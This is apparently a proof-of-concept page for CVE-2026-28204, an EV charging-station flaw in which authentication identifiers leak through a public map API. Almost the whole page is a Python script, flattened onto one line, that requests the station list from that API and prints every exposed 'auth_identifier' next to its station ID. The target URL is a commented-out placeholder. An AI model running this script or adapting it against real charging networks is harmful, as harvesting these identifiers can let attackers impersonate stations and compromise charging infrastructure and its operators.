CVE-2026-28204 充电站认证标识符信息泄露漏洞

# PoC for CVE-2026-28204: Authentication Identifier Leak via Web Map # This script demonstrates how to extract sensitive IDs from a public map API. import requests import json def check_map_leak(map_api_url): try: # Send a request to the public mapping platform API response = requests.get(map_api_url) if response.status_code == 200: data = response.json() # Iterate through stations to find exposed authentication identifiers for station in data.get('stations', []): station_id = station.get('id') auth_id = station.get('auth_identifier') # The sensitive field if auth_id: print(f"[+] Vulnerability Found!") print(f" Station ID: {station_id}") print(f" Leaked Auth ID: {auth_id}") else: print("[-] Failed to retrieve data from the map API.") except Exception as e: print(f"[-] Error: {e}") # Example usage (replace with actual target endpoint) # target_url = "https://api.example-charging-map.com/v1/stations" # check_map_leak(target_url)